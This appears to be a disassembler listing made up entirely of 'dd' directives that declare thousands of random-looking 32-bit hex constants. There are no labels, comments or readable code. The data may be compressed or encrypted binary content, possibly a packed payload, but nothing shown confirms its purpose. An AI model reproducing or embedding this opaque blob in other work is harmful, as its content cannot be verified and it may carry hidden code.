dd 136C0110h, 3ED5E5Dh, 83D82A8Bh, 89234597h, 392A9341h
dd 5589250Dh, 0EE232E60h, 893F02F6h, 9601DDC1h, 0FA85CF04h
dd 5AD72903h, 3F5FF9F9h, 0EE6057D9h, 6B751236h, 0E9CD0543h
dd 4EB9A8ECh, 0C3C0A2E2h, 54867D39h, 918E92Fh, 9890FEF8h
dd 4D134C59h, 683F5804h, 96B92785h, 0EC3047C5h, 18F8E467h
dd 0B371E9A0h, 4A606C95h, 75592159h, 93417EAFh, 3DF410E1h
dd 8E7507Eh, 48382575h, 64EF277Ch, 6AD89299h, 75D84C21h
dd 83A20127h, 5C0CF9FDh, 0C8DB002h, 3E910574h, 0D516EC60h
dd 20E8FBE4h, 5B7CEC93h, 213EAE3Dh, 0D09D37Eh, 0E2A47C38h
dd 35F4C485h, 0C200012h, 29527141h, 4F647FEDh, 0F2F40D19h
dd 3F14DF90h, 0C607AB68h, 32B3EDAFh, 0BF615683h, 6DD86A9Fh
dd 8DB75ED0h, 572024DBh, 3FBEBF04h, 26C01997h, 5C009C8h
dd 0E9F72968h, 0FA0A95CEh, 757ABA00h, 135B637Bh, 22244F31h
dd 84EAA00Dh, 0B3F0A0F0h, 27D09B4Fh, 92D1F707h, 6D860F1Ah
dd 0BD163188h, 3763108Fh, 0B195A150h, 60DF0F89h, 0D5F75180h
dd 17C1ED83h, 0E6879099h, 8120A320h, 8D677F58h, 59ABB8D2h
dd 0A5561D69h, 7C2F874h, 0FEC20BA1h, 7C490159h, 0FA15A0Ah
dd 284A2368h, 0C029CB54h, 0B90966E8h, 914B0841h, 16BB782Dh
dd 2458D18h, 0A41BA54Bh, 0E4500075h, 0C1596063h, 0E9454DDEh
dd 48D23C36h, 0D0118F5Fh, 49C0680Ah, 0FD54493Ah, 501EEFA6h
dd 802B5519h, 188F170h, 0D80459EAh, 202CD028h, 9B5AB08Ch
dd 29BA0E52h, 0C8E01151h, 90E978FFh, 0CB7A2ED6h, 0BB530B00h
dd 5F689Bh, 1F21BD1Dh, 0DD2911E8h, 802CE92Fh, 0B4B5515Ah
dd 8414C8F6h, 0A5F2F9AFh, 520F99C5h, 0F35DA068h, 25E95A6Fh
dd 0D7760F90h, 103CA367h, 0E62F9888h, 8D595CCAh, 4F211654h
dd 0BA73D4D0h, 50977761h
dd 30840B78h, 21092E8h, 5816626h, 0E95305B7h, 7AE91Dh
dd 8F3315BBh, 14EB8140h, 0B089AA90h, 5E23CE7Bh, 9850FACBh
dd 334BBADFh, 0AF405326h, 0E6E96918h, 3374D14Eh, 69B37881h
dd 0B86D40C5h, 9B2AA34Eh, 289800E0h, 43304D1Eh, 6AB8514Bh
dd 0C822AFF3h, 0EF61B9Eh, 20E580D5h, 0FEA3F561h, 17EF69C5h
dd 64E4EFEDh, 91A46219h, 30C1E4F1h, 6B4E219Fh, 60935488h
dd 5BC623CFh, 6F60124Fh, 0DFBDE10Ch, 51029D8Ah, 255ECD01h
dd 803BCA58h, 51CD001h, 36013F46h, 60AE685Ah, 50806B57h
dd 4A1E3765h, 460E355Eh, 0BD7F74Bh, 0FA36BA80h, 24BFE891h
dd 0C11B82DBh, 6094A1A7h, 0C8353EDh, 570C598Eh, 1002D9C3h
dd 38F48756h, 5215E89h, 844B9EEDh, 8817AAB3h, 5E1806F6h
dd 8F69C941h, 351A30A0h, 25B064F0h, 2620440h, 0E9688648h
dd 0F859EF9Eh, 17332EA5h, 592730ACh, 2DD3AB09h, 0EF21CC92h
dd 26166761h, 0F68BB100h, 0B6C180D1h, 0F89C30E9h, 0FBDEE89h
dd 0C8567C38h, 0CFDE1398h, 9DC364ACh, 0EA2E6950h, 667041FAh
dd 818C9143h, 0D102EFC1h, 0BC9F70E7h, 0A622444Bh, 0A19E1009h
dd 0F763A2BEh, 0C7EF2DB8h, 0EFCF8868h, 72DF6102h, 75DB04E9h
dd 6CDEFDA0h, 0E2B55F6Ah, 0E4827D31h, 62D1378Bh, 0AE19D16Eh
dd 2AAD408Eh, 4BFC6800h, 0C14D0Eh, 0EA8103E2h, 459B5B0Ah
dd 57EFE29Dh, 7241A06Ah, 5A106C99h, 3192BFA2h, 2F2BE9E8h
dd 0E5E1B74Eh, 0AFC9D73Dh, 9553E4F8h, 0E7201AC6h, 0EB0406E3h
dd 452CBD68h, 24941320h, 14B2E5D0h, 1784FF06h, 0FC801633h
dd 90890363h, 32902513h, 0CA02F171h, 5C42B015h, 5E05503Ch
dd 33D1FA04h, 0F5ED35E9h, 0C7FCEF30h, 963046EAh, 51470C3Ah
dd 1D0B5BF3h, 8F7ACAAh, 5D13ECD9h, 0F871A07h, 0E3C124F1h
dd 4D51017Bh, 30362F46h, 0C5FE426Fh, 5C01743Bh, 5D084056h
dd 0F70830C2h, 0CAC3E2D3h, 1B86D676h, 0D7E0632h, 5E8DD825h
dd 2F24CAE6h, 8B5C7A89h, 0D5A70552h, 5CF522BFh, 3BB799DDh
dd 0A7D8105h, 0D25802BCh, 0C34B4B4Fh, 3850FE00h, 3DAB9B13h
dd 0D6681409h, 65A0DC5Eh, 3B63E1D4h, 637E5DCAh, 0C3013F7Ch
dd 485933A1h, 4A97F5F8h, 97AF3FFh, 0D1D1B074h, 49ADA632h
dd 747E5C74h, 0A27B13E8h, 0A2977Dh, 0F6D8899Ah, 304A22F0h
dd 660E6EB3h, 0F51608B3h, 62E42E17h, 17C9E19h, 3A57AF2Dh
dd 34AF307Ah, 44A3614Fh, 5C02BF02h, 7AFE38B0h, 0BB31F305h
dd 47FA17D4h, 82C3290Ch, 0A7B2B3AFh, 0DAF20843h, 55E95FFEh
dd 0E5EE832Dh, 5CBF62D3h, 0DE9A478h, 0B34AB885h, 0F626792Fh
dd 0C64013F7h, 0B03F676Ah, 0C4AF831h, 49E91F9Ah, 2D04403Fh
dd 0D5344B01h, 3F890B1h, 3277BAB1h, 97604FEEh, 6A15266h
dd 0E1E00D66h, 0FD98B56Eh, 0F6007025h, 8433BE0Bh, 2F2948DBh
dd 46D259CEh, 0C8F0E912h, 0AE046D65h, 0AD10AABEh, 71781201h
dd 42FE31FAh, 0A1DDF7A3h, 8C4DE9F9h, 50592880h, 0EA4F24B8h
dd 90254900h, 0E9605F45h, 8858FBC4h, 48532A68h, 36544E59h
dd 0E70A702Bh, 0E518607Dh, 560DE31Ah, 89680A5Dh, 20552077h
dd 6696CB1Ch, 7CAA926Fh, 71955E60h, 71E9E188h, 0E5907BC7h
dd 7B9E4C50h, 0F4273047h, 1A1FF217h, 0D1770826h, 900EC001h
dd 5D2231E2h, 82B2E250h, 261C7E41h, 53EA0073h, 0DBF6EEB3h
dd 7EB25C0h, 0B399354h, 620EE993h, 0B637471h, 57DE2B1Eh
dd 0C5BE5669h, 0A7DF445Ch, 50BFA4F6h, 79A55207h, 2950CD81h
dd 5FF71B57h, 7BA48DDDh, 0EDCFAD1Ch, 3BF58002h, 2E365FC6h
dd 4910EB29h, 344AB150h, 0D6B139C5h, 684A178h, 0A230AEF2h
dd 547616D2h, 770DAA43h, 0B0264A35h, 0B1CA870Ch, 65028653h
dd 555B5616h, 0C0830AE5h, 304A627Ch, 579A08A0h, 52123FC7h
dd 9EA4EB21h, 0D837416Eh, 0B54C5173h, 9A5E1911h, 0D8C8D391h
dd 0BB5A005Bh, 43970571h, 35CF9FE9h, 0EABD365Dh, 59410125h
dd 885000CFh, 9F41F0E8h, 0FA68C681h, 14F542Fh, 9343B6BDh
dd 87B312Ah, 1AC150A6h, 0D0518E9h, 75D61DD1h, 0B0578632h
dd 829F1B90h, 0FE27AAF2h, 8A4FF1AEh, 4097157Eh, 18872C14h
dd 0ACF00AB0h, 5B237F82h, 531005BBh, 5C008A8Dh, 0A685557h
dd 5CDE8E6Fh, 0D3201913h, 5CA9DE49h, 5B2C1DA2h, 3194A45h
dd 13ABF6B5h, 250EFC59h, 9121665Fh, 63E962ECh, 0E25C65DAh
dd 16125BE8h, 0F86928EAh, 0F93C2741h, 0BF5465D6h, 0AA48DB04h
dd 0C8018804h, 274FC299h, 597FEDCFh, 0B90091FCh, 699E6B59h
dd 601E1C1h, 1555F181h, 0C27F4D5Ah, 5CCAB487h, 0F3FBEF63h
dd 60CB49B3h, 3FADE3B0h, 27FA7964h, 7BAD290h, 0ED392624h
dd 5EEA06Fh, 17D35E23h, 4501EA09h, 0AE2889C2h, 0F9DCFF70h
dd 0EE585C3h, 0C82FB3E5h, 1143DFBh, 25DFF1DBh, 7210FE4Ah
dd 0A78FD42h, 0AEF05B4Bh, 784B180Ah, 0B9620D72h, 5DB6354h
dd 0A523AC02h, 0D011E961h, 0A5CCBDF5h, 2515E595h, 0AE88A859h
dd 9F06A4Bh, 0FC5ABE51h, 503D140Fh, 0CF2F657Dh, 773962A5h
dd 1B9B124Eh, 0EEBBCBB6h, 2B5808BBh, 0F713780Bh, 141F3870h
dd 7FCB459Fh, 0EB53DC46h, 89596F76h, 95B987Ah, 8A497BEDh
dd 40760D9h, 4A7DF679h, 2CB8B31Dh, 8993AC94h, 0F2013505h
dd 4E6830CCh, 0BE2B30DDh, 2D5C86C1h, 8B0C1667h, 306CF766h
dd 5D312868h, 0E92F5A55h, 0C74AA2D1h, 931C2535h, 60DB502Fh
dd 0F37C989Ch, 384EA8FEh, 1DC38C90h, 64CE0B6Ch, 497ECAE9h
dd 0F6C9FE82h, 505276D1h, 7376E951h, 0DA905892h, 714ECD04h
dd 0AE3F9Fh, 1CEC570h, 0E97649D6h, 0C0B439F3h, 0F468595Ah
dd 8DCCBD24h, 0C748319Dh, 6005A330h, 6F5D0C30h, 0EFBC5BEFh
dd 0A008D13Ah, 71FF140Ch, 1957D233h, 26EDE90h, 0CB0158DDh
dd 628E96E0h, 73231E2Eh, 8060E802h, 4BE54268h, 555CB2CEh
dd 4754A1ECh, 1716358Ah, 0DA0CDA62h, 74CD18C1h, 36BF2D73h
dd 74C2BDAFh, 0D42178Fh, 591DDBF6h, 6CB9AD96h, 69FEF73Eh
dd 9310FBEFh, 51B64472h, 63D76841h, 2611CE2Eh, 4C932C3h
dd 72A2028Ch, 55FAE04h, 1EB525h, 4C42E908h, 0F505B6BBh
dd 1FAAAF28h, 136CBE2h, 54979A7Ch, 65591F4Ch, 0E8DA4B28h
dd 0C280B011h, 0F62FE1C8h, 3F522C8Fh, 0F3885305h, 5E87D8C2h
dd 2E0253E6h, 7FA30BBAh, 5FA0F0FEh, 5FDAF431h, 0F9D8029Dh
dd 0E9B9DEB8h, 5E8165Ch, 0C996C8AFh, 0AC34C288h, 3FDBD830h
dd 0D2090F0Bh, 14F10452h, 0A0295E94h, 955B650Fh, 46C60D40h
dd 65B9427Bh, 1C310BC2h, 30FCD2DBh, 5F6856DCh, 0FD40156h
dd 80E52877h, 3DFBB951h, 0F04C4DE8h, 9614722Ch, 7790A8Fh
dd 0B850808Ch, 16A27D80h, 58C72912h, 79597500h, 5FE96F64h
dd 0BE4E01A5h, 302168BAh, 1241B2E6h, 54AD5E7Bh, 0E081ADD4h
dd 593FF768h, 601E4DF5h, 8C53D124h, 7E5D25ABh, 60E978B9h
dd 885885BFh, 6DA90DFBh, 103778B5h, 31122364h, 47D3D1DFh
dd 0C3A32AF7h, 685AF002h, 92D91617h, 18BC0A88h, 3EBE7659h
dd 2677533Eh, 589DD92Ah, 2F532593h, 2CECA206h, 45554EF1h
dd 92B60FE7h, 0EC57EFC5h, 95C7FC0Ch, 5E720ACAh, 4B865020h
dd 0B79B305Ch, 0B0FC66E3h, 3630B526h, 1E533F12h, 512F33ACh
dd 123DDD73h, 68C8DD5Ah, 90605B8h, 0C04023CCh, 0DC33F6D7h
dd 0F1DFE930h, 768E4BDh, 0C5835BE6h, 0CBF7D6FFh, 95E26FA3h
dd 3634FF0Fh, 4D1C41AFh, 0BEA9489Dh, 89F6AF84h, 0EC93F6A6h
dd 9A9754C0h, 0A65C83B0h
dd 0E970D057h, 7804979Bh, 2C49BC51h, 5B97FC59h, 4AC33040h
dd 0BF845094h, 6F096280h, 0D532E91Ch, 433197DCh, 41D39A8Ch
dd 0C917DDCEh, 967ED9CCh, 2824729Ah, 0B658F3D3h, 0EE800ECFh
dd 76EC087h, 2862C6CFh, 1B6A5AF3h, 0D062CAF1h, 5F12043h
dd 945BFEB8h, 0E9619BB1h, 4559107Fh, 2D7EE4D0h, 0A4120FEBh
dd 9FB9EF40h, 16BA5D58h, 7CCCEBFh, 80BCBC5Eh, 0FB7985E1h
dd 0D958F752h, 0FA600141h, 3EE9AFB4h, 0A2AD1934h, 4C23F71Ch
dd 80B9D030h, 0EC81AA15h, 74851B20h, 0AFC058B3h, 0BE592C4Ch
dd 1EAF5926h, 8839E03Bh, 34A548ECh, 11A8EF4Bh, 8C02CD13h
dd 90F45642h, 0BE0B27BAh, 0D72869h, 236284E2h, 0B4294C68h
dd 8CBC4F77h, 3FF3D768h, 4B2B399Dh, 794051FCh, 6677C4FEh
dd 3B75B538h, 0E3E350ECh, 9EC07B7h, 5D2CC332h, 0C5AC72CBh
dd 0D47982EDh, 312E0278h, 87173FD0h, 0BA5BB582h, 7D7192E3h
dd 369CEB00h, 0D8806802h, 6955283Ah, 5ADE40E7h, 9D94EBB0h
dd 1F0B393h, 9F539754h, 32A56805h, 6E6095CDh, 0CB060514h
dd 83C15823h, 9090350Dh, 52174FF9h, 97ACC289h, 4E61E62h
dd 0B30296FCh, 89966AD7h, 5254DCB9h, 9DAB96FFh, 757E41C0h
dd 891D6E09h, 0F0FD8BF9h, 96BE2755h, 0C7DC40A7h, 2D5E9B0h
dd 0E0EAC197h, 273E2B0h, 83100C04h, 327401C2h, 81D21708h
dd 631432C3h, 5BEBFBCDh, 0A055BAF2h, 0E366AFE0h, 9015B035h
dd 22081661h, 0A0151309h, 26E34457h, 2F8A4018h, 6FD21E4Ah
dd 0A2C32040h, 477BFB37h, 537F49h, 0F0681425h, 2D8F70Eh
dd 0DFF92D40h, 46C0FD6Fh, 256002E9h, 5675EB3Fh, 14F09DDh
dd 0B1CB5BD9h, 6E04D880h, 9835395h, 25E6536Ah, 0AB20BA5Eh
dd 798ECD81h, 64A4832h, 0F46D707h, 0C4DDF457h, 15ED1FCh
dd 5B1E82F5h, 5764903Eh, 4E5757C2h, 685509D2h, 9DE41DBCh
dd 775AB2B7h, 0BCD7D489h, 1F9A9F4Dh, 59A48177h, 803B4BF1h
dd 78C01278h, 107BD8A3h, 0CCCEB405h, 6D86D501h, 0C0E5956Ch
dd 68FA6435h, 0E14AF6F4h, 0CC0939ECh, 0DEC64A68h, 45BCE914h
dd 77BD80B9h, 7D011563h, 914AFBh, 0C2C58063h, 112D6866h
dd 0C35AAF51h, 0E0E530D5h, 16DDF658h, 4F12E952h, 0F39289F5h
dd 2002580Ah, 0B388CBC6h, 82BD29E8h, 0C6EC16D2h, 0E7AFDCDEh
dd 51C26359h, 6E591168h, 336D3B07h, 904DE931h, 0EB00D332h
dd 15D00457h, 12C05E53h, 610C28F6h, 0D836C00Dh, 4E67EF4Fh
dd 0C20BBE98h, 0C1205223h, 8804376h, 0E4CB8107h, 15768A40h
dd 93BF339h, 0D831A33Fh, 94D1201Bh, 9AC93A0h, 89690D10h
dd 12082D7Eh, 55ACDD64h, 10AF504Ch, 2E752A02h, 4971823Ch
dd 92BF99DBh, 36B4ACEDh, 0BD944A24h, 0D231C58Eh, 0C930D099h
dd 8D6D16CDh, 0BABB944h, 2A97A7Eh, 1200A56h, 97624868h
dd 94C4710Bh, 4E279ABBh, 5BC6DDA4h, 2F41DDB0h, 40DFFAB4h
dd 0ED398021h, 96F5928Ah, 25FE42B4h, 63D8F8E9h, 0AB67E59Dh
dd 2770A4A0h, 6E65C12Dh, 0A992508Bh, 1DCA90BAh, 7F440D17h
dd 0CBB878E9h, 9A06AA52h, 0C41DB66h, 576E3616h, 109F9309h
dd 324CF84h, 0C139B443h, 0F7C904E7h, 9199ECF0h, 5FFB3112h
dd 0E982DBE8h, 99D5BBEEh, 753586BDh, 0CA7DB22Eh, 0F922E44Bh
dd 10C9884Ch, 0FC4AF094h, 52D8C23Ah, 8209A950h, 0D846E92Ah
dd 3F5A487Fh, 90D89617h, 513D0D9Bh, 2C57743Eh, 74A70D2Bh
dd 1D45A6EBh, 1238C02Dh, 5F02902h, 815C07A2h, 25C74288h
dd 0EEE24B7Ch, 8E96DF80h, 40E62D05h, 0EFE1BE0h, 4AF05F64h
dd 4DCBB2A4h, 277EDD77h, 5EEAFD18h, 0C66D5C5Ch, 0BEF8C47Bh
dd 0CD641E21h, 0BEE67197h, 0BB0E8018h, 0B97895D8h, 5EF33112h
dd 5926F0A0h, 52834208h, 8DAC2568h, 0E857E560h, 452D77EBh
dd 0CD368047h, 102E2936h, 9B471E9h, 7DDA685Bh, 4A70CD1Bh
dd 895C2738h, 0F21866E9h, 4E56095Ch, 0FDD6995h, 78B4C9E3h
dd 54CC98BDh, 724AD9F5h, 0C52913D7h, 9C0BBD58h, 48022FFDh
dd 5FD3E950h, 75D42DAh, 90F2F730h, 0BABFBBFAh, 4570A9EFh
dd 59CA0BB0h, 96BDAEF0h, 137B5AB4h, 0B408EDA0h, 4E2580F0h
dd 82C3E95Dh, 83A10806h, 3BF5FFCCh, 36EC747h, 11BDEFC1h
dd 0BED36015h, 2D6D4A01h, 34CDE94Ch, 0C45E2862h, 2C2CAA4Bh
dd 0DF212AE9h, 3EC32680h, 9A8F9B25h, 4213444Fh, 982126B0h
dd 0BBB800Bh, 7936E931h, 97041F48h, 0BF375027h, 5859F990h
dd 3FF52F68h, 1309A11Ah, 1FCA9200h, 45015672h, 42D3F581h
dd 817B3A14h, 3E271C03h, 0E913AD9Ah, 92741C9h, 2A5A1C57h
dd 0BE7475D8h, 74782F38h, 959E63Ah, 0B2D13170h, 0B67D619Ch
dd 3302BE01h, 525E16F9h, 0E9139AF2h, 7EF4B141h, 0F4D31382h
dd 125E27FFh, 919CFFDAh, 894546B4h, 1CF096F5h, 67A5FFCh
dd 3644290Ah, 0F2345F98h, 0BA9A2E7Eh, 844FB64Ch, 0AB8484B0h
dd 3CD00061h, 52D2F700h, 595A511Eh, 8BD304CAh, 14F82997h
dd 25D6ED4Eh, 5FBDE25Fh, 2BFF1999h, 365EE5Dh, 74F129BEh
dd 0D8288076h, 57E36813h, 93B72830h, 2DF70480h, 0B9AA6DE9h
dd 0E05A51E4h, 1256747Eh, 96050C1h, 4BD13414h, 562F0787h
dd 0E3C02038h, 601D3252h, 6CBF0C30h, 67900F82h, 0A19B340Bh
dd 501609ADh, 0B2520233h, 5AD330FCh, 44C16442h, 65102538h
dd 0B4E968D1h, 7E0032AFh, 0B643ECDCh, 756FD7B3h, 0C42E29B3h
dd 57B1C700h, 68017867h, 908BCCFh, 8BE2B7E9h, 0AC286076h
dd 9B20FF5Fh, 72C8BE0Fh, 570C6F68h, 9137F968h, 0F726BA82h
dd 0C2869214h, 0C67DEB24h, 0FB2DD080h, 482A525Ch, 0F304BD5Ah
dd 0F849081Fh, 0AE844FEBh, 65600787h, 0B5521A0Ah, 32284747h
dd 64B7064Ah, 65ABD14Eh, 0E2456C69h, 4D5031C7h, 635E410Eh
dd 0E01E2813h, 0A52A7768h, 58C6892Ch, 4A341E7Fh, 134DE753h
dd 5E40ACE9h, 592974BBh, 0E65A9F2Fh, 0A6D68702h, 7DDE01D0h
dd 857C4432h, 8A8512Fh, 0FE14CA3Ch, 0C054139Fh, 9313CE4h
dd 5276A704h, 44094250h, 80817ADDh, 620605ADh, 3DC82DE9h
dd 510833D3h, 9E9524F2h, 14794C0Ah, 460CBF24h, 0C67D8649h
dd 0F25500A3h, 0D4C18118h, 504E9504h, 0E0E190C0h, 3BFA0430h
dd 0D4998BE9h, 0F892EB19h, 0B6CC5755h, 0DF0B1298h, 811BD628h
dd 0DCE90694h, 0B9015828h, 446D111Fh, 79642081h, 625F8E30h
dd 7CF23556h, 54F10916h, 0C600D215h, 424A21EEh, 0CE015504h
dd 15A8C0E9h, 4424AC3Bh, 0F3808015h, 0DE8852FEh, 9CFAF0E4h
dd 0C31A226Bh, 92A9C1EAh, 0E6E5D87Eh, 0B84ADB40h, 2F0B7DF6h
dd 0ED58548Ah, 6CCCB580h, 5DB826FAh, 0D9075Ch, 259B2491h
dd 0BD41CFE9h, 6F253767h, 93E9869Fh, 68628B91h, 5D30A613h
dd 1359973Ah, 6915C1A6h, 9C542632h, 0A8D5BE92h, 0FECD94D8h
dd 0E6AB5BA7h, 5252590h, 0D1E2BA0Bh, 425FED1Ch, 0D5014606h
dd 31259A40h, 0E9296209h, 0BD1658B2h, 0F9C14AC2h, 79A95719h
dd 0BC88D689h, 0A37D07F4h, 5F0540F7h, 11904772h, 0FC19B825h
dd 77F53C3h, 6C02785Bh, 5D47C280h, 0DE30E8E0h, 0BB4FE1FAh
dd 1C20B52Dh, 0E17912CCh, 38DC007Bh, 0E9841E86h, 0B20B675Ah
dd 6231F121h, 816A8EE9h, 87F47F40h, 0B8B49882h, 0DD649F99h
dd 16402AF0h, 3AA3368h, 4F4A3443h, 2F70791h, 74C42078h
dd 0C83107D2h, 94491A77h, 2DD1955Eh, 0E9C34CA4h, 81710075h
dd 4239C7E2h, 0D5756859h, 0F01221CBh, 6957760Ah, 0D3D0AD69h
dd 60F38102h, 76536Bh
dd 98B43CFEh, 5E48297Ch, 7F7A0757h, 0CBF0398Dh, 60D93BC5h
dd 981D3622h, 8595D144h, 6CC1318Eh, 317A19BDh, 7FAC6AC6h
dd 2F92F531h, 7CD613Ah, 0C2BB0089h, 49284806h, 5B94A210h
dd 81C7ED04h, 604E0012h, 4D06EC77h, 7F5D80A0h, 86EE25h
dd 38F40585h, 0B2125D43h, 0F29AA417h, 706D89B7h, 0F75B4F35h
dd 5B3C3AC8h, 8E20C89Dh, 9A2E1280h, 7E730C0Eh, 5030E90Dh
dd 0CEEA5FE8h, 19DB3D11h, 5A018C90h, 0A7034185h, 0B53C3D60h
dd 18972EABh, 5AEF18E9h, 0F497BA31h, 2FF59CD7h, 0E989ADE7h
dd 0BF1720CDh, 5EAB7854h, 55740970h, 742AAD00h, 893D03C4h
dd 91B260FDh, 761E4B1Bh, 829DB029h, 88FB5408h, 680E9959h
dd 5AE33222h, 18655D2Dh, 8AAC712Dh, 84F127FBh, 0C102B60Fh
dd 3E52F24Fh, 79F54321h, 0B34DCC4Ah, 0A95604D3h, 8975ABE5h
dd 27171CF9h, 0E67EE8D2h, 43F10248h, 0D1E921FCh, 64521978h
dd 6BCD1047h, 0B25AAEC8h, 0BA94FF01h, 0B8887C94h, 5EFB20BDh
dd 14C38E79h, 2BA25058h, 74309774h, 26E92819h, 9254A699h
dd 6D75BF5Fh, 44EFBF0Ah, 0B5B4E978h, 0D995A746h, 2C7FBBB2h
dd 89AFAD96h, 591EB68h, 5C163A4Bh, 0E9A84EA8h, 0C4935524h
dd 4A055940h, 17BF472h, 389DF52Dh, 70C32177h, 0AB4F8F89h
dd 17E58C9h, 3A488EA6h, 0CE208A2Dh, 0EA81AD15h, 35F71F73h
dd 3F750C82h, 16F73C40h, 0B9BA2084h, 8F3A7BAAh, 18BFE455h
dd 5D14FFE9h, 241ECEF2h, 0A0CB6E95h, 725FD108h, 4029E82Bh
dd 2DCF17D5h, 0E90FDCE5h, 7FAE3A88h, 0C621D103h, 2ACB7BD1h
dd 0A2A5F746h, 2D5B290Ch, 2CD1ADEAh, 0F6F17D42h, 89876833h
dd 9EC6B768h, 36E9550Bh, 0C650E817h, 5A04043Ah, 0C4FE0148h
dd 4A08142Dh, 31E95BB0h, 86CC874Dh, 0E010D642h, 82C6A5D8h
dd 5B4A6851h, 3CB640A2h, 0E795407Fh, 0A0989DDAh, 10D77806h
dd 36255FA2h, 7A28B451h, 9FCBCA2Ch, 5B2085E2h, 0D1D2960Fh
dd 277DDE0h, 42B4FC88h, 6675CC25h, 0AD4BBD1Ah, 0C010DC3Bh
dd 666E122Ch, 0F5FA0E5Ah, 57A644F0h, 4FE92240h, 0CA5E43E4h
dd 45A252A9h, 8350C257h, 92F2124Fh, 0E2895F88h, 545159A0h
dd 0B77EE9h, 4D3825C2h, 54E03F8h, 3561797Bh, 68669A8h
dd 58C138C1h, 6CCA3768h, 46C79600h, 0CC4C84F1h, 0A3C3B041h
dd 0E5FB61DEh, 7333A8E9h, 0BB5301DDh, 2C23386Fh, 0B480C82h
dd 0F0C02201h, 84B69E61h, 3CAF449h, 7CB470D2h, 51BC66F9h
dd 405A238Fh, 0CAB252F8h, 5EE4BBE1h, 9F5E122Ch, 0E42C80C5h
dd 0B7825526h, 60E730B2h, 72885276h, 5AD43AFAh, 44D5E2AEh
dd 0BBC7909Eh, 70032857h, 53DBF744h, 61A450FFh, 560C09F3h
dd 0E280203Eh, 3937762Dh, 57A13098h, 0B24A3C15h, 5627C253h
dd 58F3278Bh, 24F46388h, 4F7028A5h, 0D65FF3C6h, 0B84FF0h
dd 12731B4Eh, 81331705h, 0CEA0395Bh, 91543A08h, 4FAF2D26h
dd 9AE59541h, 26816C81h, 80033E42h, 79795043h, 0D92D1260h
dd 7E50AF65h, 0E95A0408h, 0DBCC8771h, 6C6D0B68h, 7D856F37h
dd 2C6CA0CAh, 0B652AC0Fh, 97C14FDBh, 9C3CDE21h, 66F88800h
dd 0D2F65B03h, 7068D086h, 928058D1h, 0E6D0F22Dh, 0A706BBEFh
dd 0E269138Ah, 0E85AC2ABh, 142CC219h, 0BD7A523Fh, 0DAF1012Dh
dd 122D496h, 5E607DDAh, 0BC24277Bh, 0A6023B3Ah, 0F749E421h
dd 0A6880589h, 997B9ACh, 5EC20928h, 47C2ECCAh, 256FEB5Eh
dd 6EC25DEAh, 0E41CF786h, 9DFC5C4Ah, 0D98CFAF4h, 0B7755ECEh
dd 285E7B78h, 0F280A0C0h, 7884FFBh, 0EF7DEB9Eh, 0B7098408h
dd 9D1A7592h, 805B5D98h, 0E92EE40Bh, 0B40E40B6h, 0E4F67EF5h
dd 7EF4FCDCh, 6F536991h, 3C3177DAh, 0D1447F43h, 0A0CDB7Dh
dd 8578060Dh, 0C81E669Dh, 0B4047EBAh, 99B828C2h, 0C1583422h
dd 35E04E7h, 0B8AC3875h, 4DAF71Ah, 6C2980DDh, 1229B3F3h
dd 0F2585AD1h, 5B592DEAh, 903E1574h, 0C5E35870h, 0B040272Fh
dd 0CD801C33h, 0F0699D1Bh, 0B04A2BEBh, 4B4FAB23h, 25515C07h
dd 0BE9A6558h, 9F47E913h, 59A972FBh, 485A29FCh, 0B775E817h
dd 7BD1FA32h, 0D5EBA842h, 33C16393h, 0BA326AC2h, 77885585h
dd 0F7EBC537h, 0DDA24E82h, 93E0220h, 0E939E15Fh, 8D6A1108h
dd 0D1822F03h, 0B57C6057h, 5782565h, 73A06F78h, 0E7092D2Ch
dd 0F4A3E968h, 76FB981Dh, 921F1E65h, 0C4925F31h, 13C166F4h
dd 0EA428B28h, 0B3EC8412h, 0D743C602h, 5D29BD74h, 210E80Ah
dd 4FCD5ADDh, 5700F8F0h, 81A69BFh, 3BF78165h, 44A8645Ch
dd 6A80418Eh, 2258F1F7h, 63896CE1h, 4A5327EFh, 97FB86A9h
dd 0E3F050C3h, 0C0FC409Ch, 2704E226h, 0CFCA8000h, 0E00BB753h
dd 0DBE927FAh, 3AFC6109h, 0FFB10949h, 0C088F83Eh, 4025142Eh
dd 0B35462Ch, 5893D829h, 0EBC10101h, 25DA6103h, 57A33AE3h
dd 12C0E692h, 0A43233FAh, 0A7848966h, 0B87150F4h, 29EC4EACh
dd 5C58FCC3h, 0BF170055h, 800ED0Fh, 432D5E5h, 1E29C7C5h
dd 0E551088Fh, 1BC339B9h, 0E9200C49h, 0CD4C621Ch, 0F92ECF98h
dd 2D44F28Bh, 55DD4FEh, 0EFB4F6FFh, 0C262BB69h, 0E08C92D6h
dd 0A1901C7Ah, 18E740A0h, 211E9A17h, 0CB450E04h, 4C6D8CAEh
dd 52F40241h, 3A4EBF73h, 0B4B215F6h, 3B65B5Eh, 0A5AA3D6h
dd 0BECE59E9h, 4CF16860h, 5B0F2819h, 40F498D5h, 0AE0FBEACh
dd 920DA110h, 0C2241F49h, 4F3579E7h, 1C58A6CBh, 9444585Ah
dd 9DAF31FEh, 0EB872F68h, 541D87E2h, 46BEE3B5h, 93DED25h
dd 0B1395DAEh, 8AB808ABh, 26DE4212h, 4BCC088h, 0A254B468h
dd 2F553F6Bh, 56FFC1B0h, 4371EA71h, 0A4AA02Bh, 0E6CED617h
dd 0E9485DC1h, 0CC2B84EDh, 1150582Dh, 72418B40h, 41FD9B34h
dd 62B62A9Fh, 0C83B5C0Ch, 0BF89742Eh, 0BA7DD42Bh, 8E8EA364h
dd 76A8782Ah, 6702FACh, 58726AECh, 2F471950h, 3C519B40h
dd 0A21342B5h, 0F4C4E489h, 38643918h, 32E2525Eh, 8932C7D8h
dd 0D29BB957h, 72282FD6h, 75C1C281h, 0A6331B79h, 26AFEC2Ah
dd 0C3F91886h, 0BD100D62h, 340A71FCh, 991205Fh, 0DA683292h
dd 433A69C1h, 5E21625h, 3AB56F00h, 25E97440h, 2F999DDAh
dd 48E6EED8h, 0FEA7524Eh, 0B4501440h, 0F6818334h, 0A091BACh
dd 0FE6B86CEh, 71A501AAh, 0A73680E9h, 9CFB96B5h, 0FE9943C1h
dd 6E16E711h, 0CAE4D545h, 0E689B85Dh, 91E09845h, 87EF8474h
dd 528685FDh, 766EA6CBh, 3FCCFC1Fh, 0D804CEE4h, 92AE8F38h
dd 884B9A7h, 0FC919229h, 0C106A172h, 4D581D4Ch, 36F40F0Ch
dd 0E18525E4h, 3B02829Eh, 0FDAD20D7h, 0A2918DDDh, 6D4A5DAAh
dd 1A75E209h, 85485D79h, 0B89C6EE9h, 0B417CB2Ch, 68B54541h
